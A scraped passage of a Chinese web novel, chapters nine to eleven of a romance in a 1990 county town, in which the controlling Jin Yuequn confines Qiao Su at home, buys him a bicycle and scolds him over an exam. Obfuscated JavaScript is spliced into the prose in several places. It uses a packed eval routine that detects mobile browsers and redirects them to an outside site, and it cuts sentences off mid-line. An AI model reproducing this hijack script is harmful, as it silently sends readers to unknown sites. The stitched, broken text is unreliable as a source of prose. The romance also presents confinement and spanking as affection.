0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494731|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了靳昌林的电话,筑炉队的工人在做最后的修补,靳越群.交代了几句,就从徐水开车回去了。 回去看他不狠狠揍乔苏的屁股…! 到家差不多晚上十点,对于八点多家家户户都关门闭户的小地方来说路上早就没半个人影,他原以为乔苏已经回到了,谁知道家里没人。 县里最晚一班客车是晚上七点,白天又下了雨,靳越群担心是不是车在路上出了事,或者乔苏没赶上,大半夜的,他一个人怎么办? 他赶忙叫来靳晓北和彭文,一个去汽车站一个在家附近守着,他开车沿路去找,果不其然,在半道遇上熄火的大巴车,售票员和司机就在车里睡了,其他的人离得近的回去,离得远的也睡在车上。 “这么高的男孩,挺白的,挺瘦的,眼睛大大的,您见到没有?” 售票员说:“那个热心肠的小伙子啊,刚才还招呼着大家伙推车呢,就是推着推着就不见了,估计是自己回去了吧。” 那么远,足有十六七里地…! 他自己走回去了? “欠揍…!” 靳越群骂了一声。 他开车是走车道,乔苏要走肯定是走小路,他又沿着弯弯曲曲的小路开,土路上没灯,全靠着车前的大灯,靳越群颠的心肝肺都要出来,也不敢开的快了,一边开,一边喊乔苏的名字。 想到以乔苏那么大的胆子,他累了在路边睡一觉再走也不是没可能。 靳越群心急如焚,走走停停,看到一个高点的草丛都要下车摸着找找,生怕乔苏在后头睡觉,一直找到凌晨两点多,人影都没瞧见,他才咬着后槽牙回到家。 屋门开着,靳晓北打着瞌睡坐在板凳上。 “哥!你回来了啊,乔苏说大巴车路上坏了,他就走回来了,一回来就睡着了…” 靳越群裤脚上沾的全是黄泥巴和草屑,看着沙发上睡着的乔苏,跟呕血似的,忍了一晚上的火直往喉头上顶:“你怎么不知道给他盖件儿衣服?!” 靳晓北才十七,又没谈过恋爱,哪里会照顾人?靳越群一说,他才想起来。 “哦对对!我这就去屋里给他拿个被子…” “不用了。” 靳越群的眼神落在乔苏身上,看他安静的睡着,胳膊腿都在,好好的,他心中作乱一夜的郁结散了些,他脱掉外套,上前轻轻的唤乔苏。 “乔苏,苏苏…” 乔苏迷蒙地睁开一点眼睛,像是醒了,又像是没醒,他今天确实太累了,他看见是靳越群,就将两只手臂自然而然地攀上了他的脖颈。 “靳越群,我今天自己走好远,我好困…” “还有脸困…” “我腿也好酸,睡吧,你抱我睡吧,好不好…” 乔苏像猫挠似的哼着,勾着他的脖子往他身上腻。 “好了,我们这就回屋里睡…” 靳越群将手里的外套裹在他肩膀上,抓着他的两只手臂给他穿过去,就抱起了乔苏,他的外套对乔苏来说有些大,盖住了屁股,乔苏的双腿有一搭没一搭的盘在他身上。 “我好想你了,你知道不知道我今天走了多久才回家的?亲一下嘛…” “不亲…” “靳越群,你干嘛那么小气…你还想不想做我对象了?” 乔苏估计还在梦里,凑在嫣红的唇去亲靳越群的唇,自从那天晚上凶狠的亲吻,本就不牢靠的堤坝好像被什么东西冲破了,决出了个口,暗潮汹涌,亲吻变成了最近他们很喜欢做的事。 靳越群几下让他胡乱地亲在脸颊和嘴唇。 “哥,哥!哥你…” 一旁目睹这一切的靳晓北整个人已经犹如雷劈! 他感觉他的脑子搅成了一团浆糊,安县这一年下的雨、闪的雷,这会儿统统都劈在了里面! “哥,哥…!你、你和乔苏,你们…!为什么,为什么会,会…!” 他惊的声音都变了调。 “你知道了就别和叔伯他们说。” 靳越群抱着乔苏,乔苏还在迷迷糊糊地揪着他的衣领质问他:“…你是不是不想做我对象了?你是不是不想做我的对象了…?” 靳越群抓着他乱揪的手,又从兜里掏出车钥匙,抛给靳晓北:“我后备箱里装了两箱酒,是徐水的经理给拿的,三叔爱喝,你搬回家去,剩那一箱给彭文吧,替我谢谢他。” 9.第九章:禁闭 夜奔十几里地,乔苏一觉睡到大天亮,被外头吱哇乱叫的蝉鸣声吵醒。 “靳越群,外头好吵…” “你去把它们敲下来…” 摸了摸身边,没人在,乔苏就醒了,感觉腿热热的,麻麻的,他猛地想起昨晚他偷偷回乔家的事,好像还是靳越群给他抱上床的…! 完了!靳越群不会一生气把他的脚给废了吧?! 一闻,原来是红花油,估计早上靳越群给他揉过了酸胀的小腿和脚踝。 呼…吓他一跳。 乔苏找着捕鱼网准备去敲知了,又看见桌子上搁着的东西,应该是靳越群放下的。 他和靳越群的东西打小就不分你我的,乔苏又埋头翻桌上的袋子,先翻出一个眼熟的小盒子,棕色的,只是花纹和上次的不一样。 打开之后乔苏一愣,里面竟然是一支新手表。 牌子和上次他搞丢的那支不一样了,毕竟那支是在晋阳的商场买的,大多都是本地牌子,这支里头印的标志像个展开的小翅膀。 另外还有一袋鹅卵石,不知道在哪儿买的,一兜小石子用红色的网兜着,里面红红绿绿的石头有十来个,有些不是鹅卵石,还有一些一看就是人工染色的,但是乔苏捧着石头,心里就像淌了一道蜜一样甜… 靳越群总是记着他的,不管他的事再小。 “靳越群!” 楼下,靳越群正在炒菜,男人赤裸着青涩宽阔的臂膀,像一把高温铁水中锻造出的铁刃。 “慢点跑,你腿不酸了?” “不酸了不酸了,好香呀…!你做了红烧鸡翅?!” 靳越群的厨艺很好,小时候乔苏总是半夜饿,俩小孩不敢惊动大人,都是靳越群做,乔苏就搬着小板凳坐在旁边等。 他等也不是干坐着,嘴里全都是:“靳越群我好饿我好饿!”“靳越群你烤的红薯最甜了!”“靳越群我在这儿陪着你哦!” 他从小就眼睛大,长长的睫毛扑闪扑闪,眨巴望着人,白皙的小脸蛋被炉火映的暖洋洋的,哄的靳越群回回大半夜毫无怨言的偷摸给他做,人明明都还没锅炉高,就踩着凳子舀水、学生火,开始是简单的,像烤红薯,糖蘸芋头,后来乔苏慢慢嘴刁了,靳越群也长高了,煎炸炒炖他就都会了。 “我看到你给我买的新手表了,比第一个还好看呢…!” 他窜上他的背,尽管厨房有灶台,有火有热油,他也从来不觉得会有一点危险。 “不许再弄丢了。” “知道了嘛…还有鹅卵石,是你特意买给我的吧,哼哼,还说我那些是破烂…” 他在他脸颊上亲了一口:“我就知道你不管在哪儿都记着我的事呢…每一个都好漂亮!你在哪儿买的?” “徐水那边有个花鸟市场,回头带你去。” “是不是你一个一个给我挑的?” “成兜买的,老板不让挑。” “怪不得,哈哈,那里面有好多染色的,你花了多少钱?哈哈,原来你这么聪明也会上当…” “有染色的?”靳越群皱眉:“那把那些扔掉。” “我才不要扔…!” 乔苏笑着把小脸蹭进他的脖颈:“你给我买的,就是染色的我也好喜欢的…!你可千万不要给我扔掉,知道不?” “好。” “靳越群,你心里是不是特别想当我对象?” “特别想你就答应了?” “这个嘛…也不是不能考虑。”乔苏故意拖着嗓音:“看在你专门拐去花鸟市场给我买石头的份上,我决定给你这次的表现加两分!” 靳越群盛菜:“满分多少?” “当然是一百分啊,你考没考过试…!” “那我现在多少分?” “两分啊。” 得,合着刚才才给他加两分。 “小靳啊,成绩是靠自己考出来的,你以后还要继续端正态度,谦虚学习,刻苦努力,争取…诶诶诶…!你干嘛把鸡翅倒回锅里?” “两分的人做两分的菜。” “哈哈哈,哈哈,你怎么这么小心眼,那再给你加一分,加一分成了吧…” 到饭桌上,刚刚才威风了一圈的乔苏得意极了,喝着香浓的麦乳精,靳越群又给他剥了鸡翅和米粥,把骨头拆出来扔掉。 他很拿架子的捏着鼻子说:“剥两个就行了,不要皮,放这里,你自己也吃吧,准了。” 活像慈禧太后,这简直就是神仙日子。 靳越群也配合他,一顿饭等他拿腔捏调的吃饱喝足了,靳越群问:“款也摆了,饭也吃了,昨天都干什么了,想起来没有?” 呃…! 乔苏托着碗,立刻从慈禧太后变身小太监,以肉眼不可见的速度慢慢地猫起腰,恨不得这会儿饭桌中间能凭空出现一堵墙,把他和靳越群隔到天涯海角去。 “啥呀…” 靳越群收着碗筷,也不跟他兜圈子:“三天,你给我待家好好反省反省,想想我说不许的事能不能做,正好也要开学了,收收心,把之前写过的题再拿出来写一遍。” 他又要关他禁闭…! 换做别人,可能当场就要跳起来质问,他哪里来的权力限制他的人身自由?现在可不是封建社会,是自由的工人主义社会! 事实上,乔苏也确实跳起来了。 “凭什么是三天这么久?!之前都是两天的!” 靳越群淡淡瞥他一眼:“因为你还想骗我。” “骗你?” 他什么时候骗他了?又一看,簸箕里扔着的雪糕纸… “我,我那、我那不是尊重你吗…!” 乔苏自知理亏,追在靳越群屁股后,左右探头:“哎呀,我真的是尊重你去才拔电话线的,你想啊,那我想去也不能就直愣愣的去吧,那也太傻帽了…不,不,是太不把你放在眼睛里了…!” 靳越群在水管底下刷碗,水花飞溅。 “水再溅身上,往旁边站。” 乔苏又旁边挪了两步:“再说了,这可是我绞尽脑汁才想出来的,我费了好多脑细胞的,你知道我脑细胞不多的,这些很珍贵的…!你不能不尊重我的劳动成果啊,而且这还说明,说明你在我心里有地位,有威严啊,是不是?” 靳越群也不给他绕。 “你该长点教训,这次是三天,下次再想骗我,就是屋子里,不是院子里。” 乔苏有点泄气,他知道靳越群是说一不二的,有时候他也不需要多严厉的语气,但你就知道他说的改变不了。 乔苏垂死挣扎,他低头,很伤心地眨眨眼睛:“那我的努力呢,我的努力你就这样视而不见?” “你什么努力?” “拔电话线也是努力啊,至少我也有在认真的想办法啊…!” 靳越群只觉得他后头两颗牙都隐隐往外冒火,拍了下他的头。 “成天哪儿学那么多歪理,有琢磨这个的功夫不如给我写两道题,桌上我给你圈好了,无论如何今年你得给我够到本科的线。” 老天,大学是什么烂白菜吗?他说够就够的? 他没看前年隔壁县考上一个大学生,政府里的领导敲锣打鼓过来送大红花吗?老领导言语间饱含热泪:“我们这小地方终于出了个大学生啊!以后在市里做大官了可不要忘记咱们父老乡亲啊!” 他还特意去看了呢,足以证明大学生这个身份是多么金贵,堪比唐僧肉。 他觉得今年这朵大红花估计要戴在靳越群身上,要真是汉京大学的话…应该天没亮就开始敲鼓了,就是以靳越群的个性,估计不喜欢这么大的排场,但这个世界本身就有人要戴大红花,有人不爱戴大红花啊。 “乔苏?” “干嘛…!” 靳越群看他整天不知道神游到哪儿去:“你别写一会儿玩一会儿,你看着表,两个小时写一张,把开始时间和结束时间都给我写在卷子上,写卷子最前头,回来我检查。” “啊!靳越群,你是西游记里那个豹子精吗!” “豹子精?” 这又是哪儿跟哪儿? 乔苏气愤地捶他:“他抢别人媳妇只是关起来,你比他还霸道,你还虐待我心灵…!” “反正我不写…!” “行,你不写试试。” 他这么说,乔苏又不敢,憋着气吵不过,气的一头扎屋里了。 靳越群是真的想让乔苏上个学校,哪怕最差是个名不见经传的大专,乔苏只要进去了,日后他可以随他是想学还是不想学,这些都无所谓,但这个门槛第一步得迈进去,所以这个问题是没得谈的。 刷完碗,他就准备走了,今天汉城那边来了客户,他得提前到,他朝屋里喊:“我又请了一个阿姨,这两天来,姓张,远集人,她说话你要是听不懂…” 乔苏正生气呢,看着靳越群手里的大门钥匙,想着这么好的天气他只能窝在屋檐下头做题,气的抓起桌上的苹果砸向他。 “你走…!你不要管老子了…!” 靳越群接住飞来的苹果,乔苏又扔他的外套,靳越群也接着了,他又抓起遥控器要扔。 “再扔…!” 靳越群严肃了语气,可乔苏已经丢出去,遥控器擦着靳越群的大腿划出去,砸在外头院子的水泥地上,塑料壳子摔裂了好几块儿。 靳越群看着乔苏,乔苏穿着短袖蹲在沙发,他总喜欢这样坐。 他委屈地说:“你不能这样对我…我有去呼吸自由空气的权利…!而且我只是回了一趟我家而已…” “你家?” 乔苏嗓子卡壳,他意识到他说错话了,果不其然,外头的靳越群神色一下子冷了下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然潘黑子也不知道乔苏明明在家,靳哥为什么会又把钥匙给他?还嘱咐他走之前要锁好。 不过他弟弟现在也安排进了机械厂,还做了一个挺清闲的管阀门的工作,靳哥让他做什么他做什么就是了。 “乔苏,这可是靳哥一大早专门让我开车市里的开阳饭店买的,我上午不到十点就去了,你看看,都是靳哥点的,京酱肉丝,地锅鸡,还有这个莲藕百合的小炒,炸春卷…都是招牌,靳哥让你先喝点汤…” 他一开盖子,饭菜香气四溢,钻进乔苏的鼻子。 “开阳饭店?” “是啊,我光回来路上都一个小时,你看服务员给包的里三层外三层,生怕凉了,还好,热的。” 潘黑子给他拆外头缠在锅仔上的保鲜膜。 乔苏吞了下口水,竟然都是他爱吃的,靳越群这个人真是太阴险了…! 他以为几道菜就能哄的他消气了? 他可是要‘锁’他三天,下雨天就算了,居然还是晴天,还是放假的晴天…! 乔苏屏住呼吸。 “怎么了?还有话要说?” “不是不是,我弟弟已经被招进去了,谢谢你啊乔苏。 “没事。” 他看潘黑子还站着:“你是不是没吃?” “哦哦,我吃了,在饭店等菜的时候我就吃了,是靳哥交代让我看着你,你吃多少,我回去得跟他汇报呢。” 乔苏哼一声:“那你跟他说,这些我都不吃。” “啊?这么好的菜…哎?乔苏,乔苏…!” 潘黑子看乔苏转身噔噔噔的就跑上楼了,然后就是“砰”的一声,房门被大力关上的声音。 晴好的天,这么好的菜,咋了这么大火? 潘黑子下头等了一会儿,见乔苏还不下来,只好先走,乔苏在楼上,从窗户瞄见他走了,忙趿拉上拖鞋就跑下来了。 潘黑子也是,怎么待那么久啊! 饿死他了…! 乔苏拉开凳子就坐下了,他吃饭一般和心情挂不上钩,就算生气吵架也不耽误吃饭的事,先喝了一大碗鲜甜的鸡汤,然后就拿着薄豆皮放在手心里卷着肉丝吃,开阳饭店的京酱肉丝是一绝,酱汁浓郁,肉丝嫩滑。 过了一会儿,估计潘黑子到厂里了,家里电话响了。 靳越群那边汉城来的人还没走,他是听潘黑子说的乔苏一口没吃,抽空回来打电话的,皱着眉头训他:“乔苏,你要造反了?惯的你什么脾气饭也敢不吃?” 乔苏正在吃呢,强拍着胸口才咽下嘴里的一大口肉和菜。 真烦他这时打电话,差点噎死他了…! “我…唔…” 正要开口骂靳越群,偏偏嗓子眼里让卷肉丝里的脆黄瓜给呛着了,乔苏忍不住一咳嗽,电话里也听不真切,那边的靳越群一下子把听筒给贴近了,紧紧贴着他的耳朵根儿。 “怎么了,哭了?” 10.第十章:开学 哭了?谁哭了? 乔苏突然福至心灵! 靳越群那边听不到他说话,有些着急:“到底怎么了?苏苏,跟我说,是家里去谁了?” 拜托,他都把门锁上了,哪里会有人来? “没…” 乔苏掐着大腿,可怜兮兮地哼了一声。 靳越群听到没人,松了口气:“那怎么了?是不是潘黑子漏买了你爱吃的?还是凉了?我叫人重新给你送吧,你想吃什么?” 千万别,他现在撑得一口汤也塞不下了。 靳越群还是听不到他讲话:“苏苏?到底怎么了?说话!” 乔苏被他吓了一跳,决定坏心眼一次,就对着电话,吸两下鼻子。 “没、没什么事,我挂了…” 就这吸的这两下,要多哀怨有多哀怨,要多可怜有多可怜,怕靳越群听不着,他的鼻子都要贴到电话声筒上去。 又觉得这样有点影响他帅气的形象,才又拉远了一点。 靳越群不知道是不是听出了他是故意的,还是哪怕听出了他也是心疼他的。 他在那边叹了口气。 “乔家除了把你丢下,给过你什么?” 乔家当然什么也给不了他,但或许是乔苏长这么大从没受过什么挫折,他所在的世界是靳越群像画地为牢一般圈给他的,单纯美好,自由自在的。 他脑子里没有太多那些黑暗的东西,乔国栋之前抱他在怀里改作业,杨白梅虽然不喜欢他,但养了他六年也没有做出往棉袄里充柳絮的事…乔杏花还是他小时候摇摇晃晃牵着小手带过的妹妹。 等等…! 昨天回家他好像听杨白梅说什么,以后嫁人有你受的,难不成他们要给杏花说人家了? “不行不行不行,杏花才十七啊!” 靳越群那边听他的嗓音突然拔高,一时搞不懂他在说什么:“什么?谁十七?” “就是杏花啊!” 乔苏的小脑袋是想一出是一出,忘了自己还在“演戏”,有点着急了:“靳越群,我昨天回去的时候好像听到杨白梅说要给她说人家,她才十七啊,高中都没毕业呢,还有什么他们…,难道是有小混混骚扰杏花?不行不行,我一会就要回去问问!” “你不准去。” 靳越群掐着眉心,但他也确实没有什么正当理由阻止乔苏回去,难道说仅凭他的直觉?乔苏已经偶尔做梦了,他也不想让他察觉出半点有关重生的事… 只能赶在他生气前,思量了下,又说:“你不要去,我找人去给乔家按个电话吧。” 按电话? 乔苏惊讶:“按电话?可是按一部电话好贵的,不是要四千多块吗?” “钱我们出,往后你要找乔国栋还是乔杏花就直接给他们打电话,不用再大老远的跑回去。” 如今是迈入九零年头的第一年,过去盛行的“大锅饭、养懒汉”的思想还根深蒂固,虽说南边有汽车站已经开始了私营改制,但一是上头没发话,二是北边这儿传导的也慢,谁也不愿第一个砸自己的饭碗,他们县里的汽车站就属于没改制那一批,那几辆大巴破的早就该报废了。 “汽车站的车总坏,下次再坏在半道上,你还要跑十几里地,我也不放心你,打电话快,以后没什么大事你就不要回,有事就打电话。” 他到底心疼他昨夜一个人走了那么远,万一大半夜的再遇上抢劫的怎么办,羊肠小道连个灯都没有,蒙头打晕个人都不知道。 乔苏一想,对呀,他怎么没想到呢?要是有电话,他想什么时候给乔家打电话就可以打,不用再偷偷跑回去了,杏花遇到什么事也能给他说。 他之前怎么没想到呢! “我一会给市里的邮电局交表,找人去给乔家捎信,看那边师傅的时间,这几天就按…我这会儿忙,走不开,你自己好好吃饭,成不成?” 乔苏满脑子想的都是老师讲的果然没错,知识就是力量,沉默就是黄金。 “嗝…!” 他正感叹,不小心打了个饱嗝。 “苏苏?” “…我、我这是饿的…!” 靳越群也听见了,他方才一直握在电话上的、绷紧的手指指节稍稍松开了些:“行,知道没饿着自己就行,还有没有其他想吃的?” “嗝…!” 这下乔苏彻底没办法装了:“不吃了不吃了,真吃不下了…” 靳越群那边中午还得陪他们一块儿吃饭,得走了:“那挂了。” 乔苏心里的担忧解决了,又缠着他不想挂。 “别呀,那边来的人多吗?男的女的?你吃饭了吗?我真的好无聊,我们再聊一会儿…” “给你布置的题写了没,写几道了?” “呃…你一定好忙吧,那我不打扰你了,你别忘记多吃点饭呀,我去写题了,拜拜…” 电话上像长刺一样,乔苏忙不停地就给挂了。 靳越群笑了一下,无奈地摇头。 他身旁站着是厂里的老孙,对这个年轻的少东家他是打心眼里一百个佩服,跟汉城来的客户谈他们的联轴器,把产品的工艺,外管材质,能定制多少尺寸,交多少现货,好像都在他心里。 可老孙又不禁想,他年纪轻轻的,是什么时候把厂里的情况摸得这么透的?算了…他可得好好抱着这只金大腿,说不定过个几年,就是这儿的老板了。 - 乔苏就算被关禁闭也是不会无聊的。 靳越群给他布置的卷子只能占据他很小一部分的时间,他忙着给他养的小鱼和螃蟹换水,还用靳越群给他带回来的那一兜鹅卵石,研究做了一个新式的“按摩垫”。 他不会用针线,就让靳越群从厂里给他拿了几根胶棒,用打火机点着了,融化的胶滴上去,粘的很牢固,白天他就鼓捣着把石头粘上去固定。 问粘哪儿? 他翻出一条靳越群夏天的大短裤,把鹅卵石一个个摆好粘上去,每天对着踩来踩去地做实验,他不光自己踩,还邀请靳越群一起踩,靳越群看着那条被踩的皱皱巴巴的大短裤,也不知道怎么,莫名其妙就觉得疼。 “按摩用的,你来试试嘛,还挺舒服的…” “我就不试了…” “你试试,试试,我做了两天呢,放市里最少卖十块…” 靳越群被他拉着,只好也上去踩:“家里没有别的能粘的?” “咋啦,你短裤大小刚好啊,再大石头就不够用了,也太沉…” 行吧,家里的哪个东西不是乔苏的?他爱玩哪个就玩哪个吧。 不过人家市里卖的按摩垫,石头一半是陷在里头的,乔苏是整个黏在上头,踩上去不是按摩,简直是十大酷刑,好在他对这个玩意也没感兴趣多久,也有可能是他自己踩上去也疼,反正他玩了两天就又不知道扔哪儿去生灰了。 等禁闭令一消,学校也快开学了,乔苏大晚上的心血来潮,趴在靳越群身上,翘着雪白莹润的小腿晃,说他想要一辆自行车。 “要自行车干什么,你又不会骑。” “我不会我可以学啊,我学会了以后我就能自己骑车去上学,不用你载着我了。” 靳越群靠在床头看乔苏写的卷子,一只手掐着他的腰,有一搭没一搭的捏两下,怕他掉下去,乔苏有点痒,伸手往后赶了一下他的手臂。 “你别摸我腰,好痒痒…” “娇气的你,摸两下痒什么。” 靳越群骂他,锢着他腰肢的手掌一点没松,乔苏噘噘嘴,把脑袋搁在他脖子那儿。 “到底谁的腰啊…,那你给我买辆自行车。” “不买,你就跟我坐一辆。” “跟你坐一辆可以啊,但你有时候不是下课就要去厂里嘛,你老叫靳晓北载我回来,他骑车又没你稳当,他带着我,我有时候还得抓着他…” “你抓着他?” 乔苏点头:“是啊,尤其学校门口那段土路,颠死我了…” 靳越群默了会儿:“明天带你买自行车。” “真的!”乔苏很高兴地说:“那你也得教我骑才行。” “教你。” 靳越群点头,于是放假的最后两天也没让他再去张老师那儿补课了,他给乔苏买了一辆凤凰牌的自行车,锰钢车架,申州造的。 靳晓北来了就看见乔苏院子里歪歪斜斜地学着骑车,旁边是他哥给他扶着。 “哎哎哎,要倒了…!” “不会,你往前蹬。” “你别撒手啊…” “不撒。” 靳晓北看乔苏跟个不倒翁似的,笑死了:“乔苏,骑自行车得俩脚蹬快点,越快也越不容易翻,你蹬这么慢不行啊,不过你咋拿个女士自行车练手?我小姨出嫁的时候就陪嫁这种弯杠的,男的骑得前头都是大直杠…” “什么?我这是女士的?” 乔苏喊靳越群:“我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508466|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怎么觉得这个车的轱辘没你和靳晓北的大!” 靳越群看了靳晓北一眼。 “不不不、我记错了,乔苏,你这也是男士的,哎!凤凰牌,我小姨结婚的时候我小姨夫就是骑这这个车把载她回家的,他也骑弯杠的,弯杠的可风光了,都是男的骑的,都是男的骑的…” 靳晓北擦擦额头上的汗:“对了,哥,这是我妈让我给你拿的,都刚包的,上次的酒我爸可爱喝了,来了客人都不轻易往外拿呢。” 他妈包包子饺子是一绝,乔苏也骑累了。 “靳晓北,你这两天咋不来找我?” 靳晓北不知道怎么说,他怎么说?难道说他那天被他和他哥脸对脸的亲嘴唇给吓着了? 他也确实被吓着了,他真的想不清楚,他哥和乔苏咋能亲嘴呢? 但是靳越群是他哥,他家和靳伯其实是比较远的亲戚,那会儿他爸刚从家里头分家,还是靳哥借给他爸钱开了鱼塘,而乔苏又是他最好的哥们儿… 要不然,亲就亲吧… “我这两天在家帮我爸看鱼塘呢,这不刚一闲我就来了,我妈包的你最爱吃的牛肉馅儿。” “那明天咱叫着彭文去山上抓兔子。” “后天开学了,明天不许去山上,万一再崴脚怎么办。” 乔苏差点忘了靳越群还在这儿。 “那明天咱们去河边烧烤。” 靳晓北说行,又看乔苏学自行车,本来他想着乔苏学会了,明天他们就一块儿骑自行车去河边,但看着他哥在后头就没撒过手,自行车不撒手能学的会吗? 靳晓北看了一会儿,估计乔苏也难会,就走了。 美好的假期就如打西边落下的日头一样,在不知不觉间消融。 开学前一天,杨白梅给他打电话,言语间高兴极了。 “乔苏啊,是你让人给家里按电话的吧,晌午来了两个市里的师傅,按的可好了!给咱挑了一个大红色的,左邻右舍都来瞧了,多少钱啊?” “四千多吧…” “四千多啊!你们听听,这一台电话机就要四千多咧!我说不按,咱也不是那什么富贵人家,哪儿用得着打什么电话,乔苏非要孝顺我们,他心里老记挂着我和他爹…” 杨白梅那边嘴咧到耳朵根而,跟来看稀罕的邻居说着,话锋一转,又说:“乔苏啊,我听捎信的说这是给你给杏花的嫁妆?哎,她一个小丫头片子就是出嫁哪用得着陪这么贵的东西啊!” 乔苏听得一头雾水:“什么,什么陪嫁?” “就那天来捎信那个,黑黑的,挺瘦的那个小伙子说的,说这是给杏花按的,以后谁家要是出不起按电话的钱,就别上门提亲,哎,你是不是知道有人相中杏花的事了,你这条件一提,谁敢来啊,现在哪家能出得起这么贵的钱啊…” “妈,你让我说…!” 那边,乔杏花把电话抢过来,她别扭地说:“你给我按的?” 乔苏还没转过来是怎么回事呢。 “啊,是,你才十七,是不是现在有那些成天混大街的小混混骚扰你了?” “现在他们都不敢来了。”乔杏花说:“你还住那个地方是吧!” 乔苏说是啊,杨白梅还想跟他说话,说一个小姑娘用不着电话,不如给乔柯,不过后半句乔苏没听到,乔杏花直接把电话给挂了。 晚上的时候阿姨说在门口收到一筐肉肠,说一个小姑娘搁下的,搁下就走了。 正巧靳越群也回来了,乔苏扑到他身上,靳越群被他一冲,身形也没变,抱着他。 “靳越群,你怎么想到这个办法的!太厉害了!” 这样就不会有一些乱七八糟的小混混癞蛤蟆想吃天鹅肉了! “还跟不跟我置气了?” “不置了不置了,你最好了嘛…!我从小就知道你对我最好的了…!呐,给你尝尝,杏花亲手做的肉肠,她专门给咱送的呢…好吃吧?” “还行。” “哈哈,那我下次也研究研究给你做好吧?我见过她们搅肉馅儿…” “厨房那地方你不许进。” “为啥?” 靳越群光想想他就头疼了,拍了下他的大腿:“我整天事情多的很,你不要给我找事。” 乔苏忍不住抓着他的衣裳笑,怎么他要学点好的就是找事了?不过靳越群的确是这个世界上对他最好的人,再没有之一,他一直都无比确信的知道的,不是么。 11.第十一章:成绩 关于靳越群对他天下第一好这件事只维持到开学之后的第一个星期,学校组织的第一次小考。 临近高考了,老师在讲台上发了盖红章的毕业证,班里的学生哗啦啦地一下子又少了一大半,教室空荡荡的,后头总爱上课跟老师对着干的男同学也回家了,黑板上粉笔板书的沙沙声儿格外明显。 安县除了靳父的机械厂,隔壁还有的国营棉纺织厂、保温瓶厂,父母本身就是厂里职工的,大多同学都拿着高中毕业证直接顶班进厂,这也是大家都羡慕的对象,有的家里到了年纪的兄弟姐妹多,还要为争这一个顶班名额闹得鸡飞狗跳。 还有的提前托关系挤进了八一商场做售货员,那就了不得了,在班里兴奋的说单位还给量尺寸,做一套翻领子的工装,成为女同学的话题焦点。 剩下什么也没的,就跟着父母做个小生意,也能养活自己。 班里只有前排几个学生是高中三年都在拼命学习的,当然,少有几个抱着考大学的梦,大部分都是奔着大专去的,大专也是香饽饽,毕业管分配,回来不管分配到政府部门还是去厂里当个干部,都是能改变一生的选择。 下午的时候老师发了批改后的考试成绩。 乔苏看着卷子上的红叉,心情跟冬天屋檐上结的一串串冰溜子一样凉。 同桌彭文比他考的还差,他一点不在意:“乔苏,晚上一块儿去踢球?” 乔苏拿着卷子收进书包:“我不踢了,明天你可能也见不到我了,有事给我烧纸吧,别烧太便宜的。” “嗐,考不好就考不好呗,反正靳家又不会饿死你。” 乔苏心说你懂什么,靳越群的可怕你一点也不知道。 “彭文,毕业了你打算去哪儿啊?” “我爸这不是要去市里的医院交流学习么,估计就留在那儿了,我也去汉城,到时候再看看干啥,反正我觉得读书没意思,我打算去三门市场那儿批点货,倒腾外国磁带去,这东西现在老挣钱了!你知道歌舞厅里头跳迪斯科的不?一盒就能挣两块三!” “啥是迪斯科?” “连迪斯科也不知道,太老土冒了你!迪斯科在市里是最流行的,就是男的女的跟着音乐一块跳舞,那儿的妞都打扮的时髦的很,男的谁会跳,对象都不愁,回头有空哥带你去开开眼!” 乔苏点点头,不过他现在已经顾不上什么迪斯科了。 就他考的这点分,够技校都够呛,乔苏回到家先吃了饭,新来的阿姨烧菜挺好吃的,等晚上靳越群回来,他把卷子掏出来给靳越群,低着头,就专心致志地开始憋眼泪。 不过有时候人真是越急越憋不出什么,乔苏憋得尿都快憋出来了,眼泪硬是憋不出一滴。 不一会儿,他悄悄睁开一只眼…怎么感觉卷子好像在微微的颤? 再定睛一看, 瞬间又吓得低下头去了,不好,是靳越群的手在颤。 “乔苏,你这个作文,你怎么想的?” 作文题目是劳动中的春光,乔苏开头写的还行,什么我最喜欢春天的早晨,是一天中春光最美的时候,第二段就是,我的家乡在安县,我是一个普通的县城平民,在春天里我经常会去后山… “县城平民?这写的什么狗屁倒灶的玩意?能往作文里写吗,你自己读读通顺吗?” “…我感觉挺通顺的呀,那我又不是党员,再说去年入团也没排上我,总也不能撒谎吧…” 靳越群气的嘴角直抽,接着往下看。 下一段是‘我去小溪里,可以捡到红石头,绿石头,灰石头,抓到小螃蟹,黄瓜鱼…’后面估计实在不知道写什么了,又把前头的翻来覆去,‘我把这些红石头,绿石头,灰石头洗干净,再把它们排起来,第一个是红石头,绿石头,灰石头…’ 靳越群把卷子往桌上一拍:“你去考场上写石头开会?!你怎么不把你那一院子石头挨个写上去?” “都写上格子写不下呀…” 眼看靳越群要火,乔苏赶紧说:“老师说我写的叫纪实文学…!” “老师那是夸你吗!” “纪实文学也是文学啊…” 乔苏小声嘟囔:“可不是谁写的文章都能和“文学”挂钩的好不好…” 靳越群强忍着,忍不住了,后头一堆乱七八糟的石头记他都懒得看,捞着人摁在腿上开揍。 “你还给我纪实文学,再给我纪实一个我看看!你那脑袋到考场上就故意不转是吧,人家随便瞎写都比你的分高!” 靳越群在气头上,手劲大,巴掌也大,乔苏屁股疼,踢着腿抗议:“那更不公平,凭啥他瞎写就有分,我瞎写就没分!” “你还真敢给我瞎写!” 靳越群真的要给他气死,补课补这么多天,一分不涨就算了,还给他倒退,又看乔苏吃的屁股白白的,圆圆的,上头一把小腰那么细… 